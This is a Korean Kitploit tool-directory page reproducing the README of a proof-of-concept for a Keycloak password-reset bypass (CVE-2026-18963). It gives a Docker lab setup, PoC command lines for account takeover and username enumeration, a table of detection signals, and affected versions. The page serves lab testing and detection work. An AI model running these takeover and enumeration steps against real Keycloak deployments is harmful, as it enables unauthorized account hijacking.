Skip to content
KitploitKITPLOIT
도구블로그
Log in
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
Keycloak_CVE-2026-18963_PoC — 이 저장소는 cve-2026-18963의 PoC입니다. 합법적인 제품(랩, 로컬 등)에서만 사용하세요. | Kitploit
도구/GitHubGitHub/prot0tw/keycloak_cve-2026-18963_poc
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingAuthenticationLabs & Practice
GitHubprot0tw/keycloak_cve-2026-18963_poc

Keycloak_CVE-2026-18963_PoC

이 저장소는 cve-2026-18963의 PoC입니다. 합법적인 제품(랩, 로컬 등)에서만 사용하세요.

저장소 보기
16482개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-18963

Keycloak reset-credentials 우회 → 인증되지 않은 계정 탈취 CVSS 9.1 | 영향받는 버전: Keycloak 26.0.0 – 26.7.1


레이아웃

CVE-2026-18963/
├── cve_2026_18963_poc.py   <- PoC script (Python 3.9+, stdlib only)
├── README.md
├── docker-compose.yml      <- Lab environment
└── realm-poc.json          <- Keycloak realm config (auto-imported)

요구 사항

  • Docker + Docker Compose
  • Python 3.9+ (표준 라이브러리만 사용, 설치할 것 없음)
  • Linux

1단계: 랩 시작하기

docker compose up -d

또는 realm 가져오기 없이 Keycloak을 직접 실행하세요:

docker run -p 127.0.0.1:8080:8080 \
  -e KC_BOOTSTRAP_ADMIN_USERNAME=admin \
  -e KC_BOOTSTRAP_ADMIN_PASSWORD=admin \
  quay.io/keycloak/keycloak:26.7.1 start-dev

Keycloak 부팅이 완료될 때까지 약 30~60초 기다립니다.

서비스

서비스URL버전상태
kc-vulnhttp://localhost:808026.7.1취약함 ⚠️
Mailpithttp://localhost:8025최신이메일 캡처

기본 자격 증명

  • Keycloak 관리자: admin / admin
  • 피해자 사용자: victim / OriginalPassw0rd!
  • Realm: poc | 클라이언트: poc-app
  • 설정 확인: Realm settings → Login 탭 → Forgot password가 ON으로 설정되어 있음.
  • poc realm 또는 victim 사용자가 없는 경우 수동으로 가져옵니다: Manage realms → Create realm → realm-poc.json 업로드.

2단계: PoC 실행

안전 점검 (사용자 이름 불필요, 부작용 없음)

python3 cve_2026_18963_poc.py \
  --base http://localhost:8080 --realm poc \
  --client-id poc-app \
  --redirect-uri http://localhost:9999/callback \
  --safe-check

kc-vuln에서의 예상 결과: [!] VULNERABLE — email gate execution served


비파괴적 증명 (Update Password 양식에서 중단됨)

python3 cve_2026_18963_poc.py \
  --base http://localhost:8080 --realm poc \
  --client-id poc-app \
  --redirect-uri http://localhost:9999/callback \
  --victim victim --check

부작용: 재설정 이메일이 피해자에게 전송되며(http://localhost:8025에서 확인 가능), emailVerified가 true로 설정됩니다.


전체 탈취

python3 cve_2026_18963_poc.py \
  --base http://localhost:8080 --realm poc \
  --client-id poc-app \
  --redirect-uri http://localhost:9999/callback \
  --victim victim \
  --new-password 'PoCPassw0rd!1'

그런 다음 http://localhost:8080/realms/poc/account 에 victim / PoCPassw0rd!1로 로그인하여 확인합니다.


사용자 이름 열거

printf 'victim\nadmin\nnobody\n' > userlist.txt

python3 cve_2026_18963_poc.py \
  --base http://localhost:8080 --realm poc \
  --client-id poc-app \
  --redirect-uri http://localhost:9999/callback \
  --enum userlist.txt

3단계: 피해자를 초기 상태로 재설정

렐름은 최초 부팅 시에만 가져오므로, 가장 간단한 재설정 방법은 환경을 처음부터 다시 만드는 것입니다:

docker compose down -v && docker compose up -d

또는 관리자 콘솔(http://localhost:8080/admin)에서 비밀번호를 수동으로 재설정할 수 있습니다: Users → victim → Credentials → Reset password → OriginalPassw0rd!.


정리

docker compose down -v

탐지 신호

신호정상익스플로잇
GET /login-actions/action-token?...✅ 예❌ 아니오
POST .../reset-credentials (본문 tryAnotherWay=yes)❌ 아니오✅ 예
동일한 code_id로 SEND_RESET_PASSWORD → UPDATE_PASSWORD가 2초 이내 발생드묾✅ 항상
VERIFY_EMAIL 이벤트 없이 emailVerified가 true로 전환❌✅ 항상

Mailpit(http://localhost:8025)에서 비밀번호 재설정 이메일이 피해자의 메일함에 도착하지만, 익스플로잇이 성공하면 그 안의 링크는 절대 클릭되지 않습니다.


영향을 받는 버전

릴리스 라인영향 받음수정
≤ 17 (WildFly)아니오—
26.0 – 26.326.0.0 – 26.x.x없음 (26.7.2로 이동해야 함)
26.426.4.0 – 26.4.1426.4.15 (벤더 백포트)
26.526.5.0 – 26.5.7없음
26.626.6.0 – 26.6.526.6.6 (벤더 백포트)
26.726.7.0 – 26.7.126.7.2 ✅

26.0 이전 버전은 영향을 받지 않습니다: 고정형 AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED 노트와 재설정 흐름의 "다른 방법 시도" 선택 화면은 26.0.0에서 도입되었습니다. 이전 빌드는 단순히 취약한 코드 경로가 없는 것일 뿐이며, 이는 패치된 것과 같지 않습니다.


참고 자료

  • Sploitus (원본 README): https://sploitus.com/exploit?id=A76D2FC5-1440-568B-81C2-B0213465485E
  • Keycloak 이슈: https://github.com/keycloak/keycloak/issues/51833
  • 수정 PR: https://github.com/keycloak/keycloak/pull/51844
  • GHSA: GHSA-4gv3-mc9p-5wqc
  • Red Hat: https://access.redhat.com/security/cve/cve-2026-18963
도구 다운로드